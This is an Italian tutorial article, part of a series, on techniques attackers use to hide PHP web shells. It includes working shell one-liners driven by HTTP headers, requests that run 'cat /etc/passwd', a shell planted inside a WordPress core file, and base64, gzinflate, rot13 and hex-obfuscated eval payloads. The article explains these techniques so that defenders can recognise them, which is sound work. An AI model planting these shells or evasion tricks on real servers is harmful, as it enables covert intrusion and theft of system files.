Tutte le risorse

Mantenere le Web Shells sotto copertura - parte 3

Nella parte 2 di questa serie, abbiamo esaminato esempi specifici di shell Web nel linguaggio di programmazione PHP. Nella parte 3 di questa serie, esamineremo alcune tecniche utilizzate dagli aggressori per mantenere nascoste le shell web.

I comandi possono essere inviati alla shell web usando vari metodi con la richiesta HTTP POST più comune. Tuttavia, gli hacker malintenzionati non sono esattamente le persone che rispettano le regole. Di seguito sono riportati alcuni dei possibili trucchi che gli aggressori possono utilizzare per mantenere le shell web sotto il radar.

Modifica delle intestazioni

Invece di passare il comando tramite il $_POST parametro request, usano la stringa dell'agente utente.

 

<?php system($_SERVER['HTTP_USER_AGENT'])?>

 

L'aggressore dovrebbe quindi creare richieste HTTP specifiche inserendo il comando all'interno dell'intestazione User-Agent HTTP.

 

GET /demo/shell.php HTTP/1.1

Host: 192.168.5.25

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Upgrade-Insecure-Requests: 1

User-Agent: cat /etc/passwd

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4

 

 

Gli effetti di questo comportamento sono visibili nel registro del server, dove l'HTTP User-Agent della seconda richiesta è stato sostituito dal cat /etc/passwd comando.

 

192.168.5.26 - - [28/Feb/2020:20:38:28 +0100] "GET /demo/shell.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

192.168.5.26 - - [28/Feb/2020:20:38:50 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "cat /etc/passwd"

 

Il metodo sopra è rumoroso e può facilmente dare la mancia a un amministratore che guarda i log del server. Il seguente, tuttavia, non lo è.

 

<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>

GET /demo/shell.php HTTP/1.1

Host: 192.168.5.25

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding: gzip, deflate, sdch

Accept-Language: cat /etc/passwd

 

Il metodo sopra non lascia tracce visibili (almeno nel registro degli accessi) per quanto riguarda il comando eseguito.

 

192.168.5.26 - - [28/Feb/2020:20:48:05 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

 

Nascosto in bella vista

La maggior parte delle conchiglie PHP popolari come c99, r57, b374, e altri usano nomi di file che sono ben noti e facilmente far sorgere il sospetto. Sono nella lista nera e possono essere facilmente identificati. Uno dei modi più semplici che gli aggressori usano per nascondere le shell web è caricarle in sottodirectory profonde e / o usando nomi casuali.

 

http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php

 

Un modo più efficace è quello di incorporare il codice della shell Web in file già esistenti e legittimi.

 

http://www.example.com/index.php

http://www.example.com/about.php

 

O nel caso di un CMS (ad esempio WordPress)

// http://www.example.com/wp-content/wp-blog-header.php

 

if ( !isset($wp_did_header) ) {

$wp_did_header = true;

 

// Load the WordPress Core System

system($_SERVER['HTTP_ACCEPT_LANGUAGE']);

 

// Load the WordPress library.

require_once( dirname(__FILE__) . '/wp-load.php' );

 

// Set up the WordPress query

wp();

 

// Load the theme template

require_once( ABSPATH . WPINC . '/template-loader.php' );

}

 

Nota : un utente malintenzionato può utilizzare l'operatore @ prima di una funzione per eliminare eventuali errori che possono essere generati e successivamente scritti nel registro degli errori.

 

Offuscamento

Gli aggressori utilizzano varie tecniche di offuscamento per evitare di essere rilevati dagli amministratori o da altri aggressori. Continuano a trovare modi nuovi e più sofisticati per nascondere il loro codice e bypassare i sistemi di sicurezza. Di seguito vedremo alcune delle tecniche più comuni utilizzate.

 

Lo spazio bianco

Rimuovendo lo spazio bianco da un blocco di codice, sembra una grande stringa, che rende meno leggibile e più difficile identificare ciò che fa lo script.

 

<?php

// Whitespace makes things easy to read

function myshellexec($cmd){

 global $disablefunc; $result = "";

 if (!empty($cmd)){

 if (is_callable("exec") && !in_array("exec",$disablefunc)) {

 exec($cmd,$result); $result = join("",$result);

 }

 }

 }

// Whitespace removed makes things harder to read

function myshellexec($cmd) {global $disablefunc;$result = "";

 if(!empty($cmd)) { if (is_callable("exec") and

 !in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",$result);}}}

?>

 

scrambling

Scrambling è una tecnica che può essere utilizzata efficacemente in combinazione con altri per aiutare una shell web a non essere rilevata. Scrambles il codice rendendolo illeggibile e si avvale di varie funzioni che ricostruiranno il codice quando eseguito.

 

<?php

// Scrambled

  $k='c3lzdGVtKCdscyAtbGEnKTs=';$c=strrev('(edoced_46esab.""nruter')."'".$k."');";$f=eval($c);eval($f);

 

// Unscrambled

  // base_64 encoded string -> system('ls -la');

  $k='c3lzdGVtKCdscyAtbGEnKTs=';

  // strrev() reverses a given string:   strrev('(edoced_46esab.""nruter')."'".$k."')

$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");

  // $c = system('ls -la');

  $f=eval($c);

  eval($f);

 

Tecniche di codifica, compressione e sostituzione

Le shell Web in genere utilizzano tecniche aggiuntive per nascondere ciò che stanno facendo. Di seguito sono riportate alcune funzioni comuni che le shell Web basate su PHP sfruttano per non essere rilevate.

  • eval(): Una funzione che valuta una determinata stringa come codice PHP
  • assert(): Una funzione che valuta una determinata stringa come codice PHP
  • base64(): Codifica i dati con la codifica MIME base64
  • gzdeflate(): Comprime una stringa utilizzando il formato dati DEFLATE; gzinflate () lo decomprime
  • str_rot13(): Sposta ogni lettera di una determinata stringa di 13 posizioni nell'alfabeto

Gli esempi seguenti producono tutti lo stesso risultato, tuttavia, un utente malintenzionato potrebbe scegliere di utilizzare più tecniche di offuscamento affinché la shell Web mantenga un profilo basso.

<?php

  // Evaluates the string "system('ls -la');" as PHP code

  eval("system('ls -la');");

 

  // Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

  eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));

 

  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

  eval(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));

 

  // Decodes the compressed, ROT13 encoded, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

eval(gzinflate(str_rot13(base64_decode('K64sLlbN1UPKKUnQzVZH0rQGAA=='))));

 

  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

  assert(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));

?>

 

Utilizzo di Hex come tecnica di offuscamento

I valori esadecimali di caratteri ASCII possono anche essere usati per offuscare ulteriormente i comandi della web shell. Prendiamo la seguente stringa come esempio.

 

system('cat /etc/passwd');

Di seguito è riportato il valore della stringa sopra in esadecimale.

73797374656d2827636174202f6574632f70617373776427293b

Pertanto, il seguente codice può essere utilizzato per accettare una stringa con codifica esadecimale e valutarla come codice PHP.

<?php <br ?--> // function that accepts a hex encoded data

function dcd($hex){

// split $hex

for ($i=0; $i < strlen($hex)-1; $i+=2){

//run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character

$string .= chr(hexdec($hex[$i].$hex[$i+1]));

}

// evaluate/execute the command

eval($string);

}

dcd('73797374656d2827636174202f6574632f70617373776427293b');

?>

 

L'output sarebbe simile all'esempio seguente.

 

Gli esempi sopra possono essere tutti decodificati usando vari strumenti, anche se sono codificati più volte. In alcuni casi, gli aggressori possono scegliere di utilizzare la crittografia, anziché la codifica, per rendere più difficile determinare cosa sta facendo la shell web.

L'esempio seguente è semplice, ma pratico. Sebbene il codice non sia codificato o crittografato, è ancora meno rilevabile rispetto al precedente perché non utilizza nomi di funzioni sospette (come eval()assert() ), stringhe codificate lunghe, codice complicato; e, soprattutto, non farà scattare alcuna bandiera rossa quando gli amministratori visualizzano i registri (in una certa misura).

 

<?php

  // Send a POST request with variable '1' = 'system' and variable '2' = 'cat /etc/passwd'

  $_=$_POST['1'];

  $__=$_POST['2'];

 

  //The following will now be equivalent to running -> system('cat /etc/passwd');

  $_($__);

?>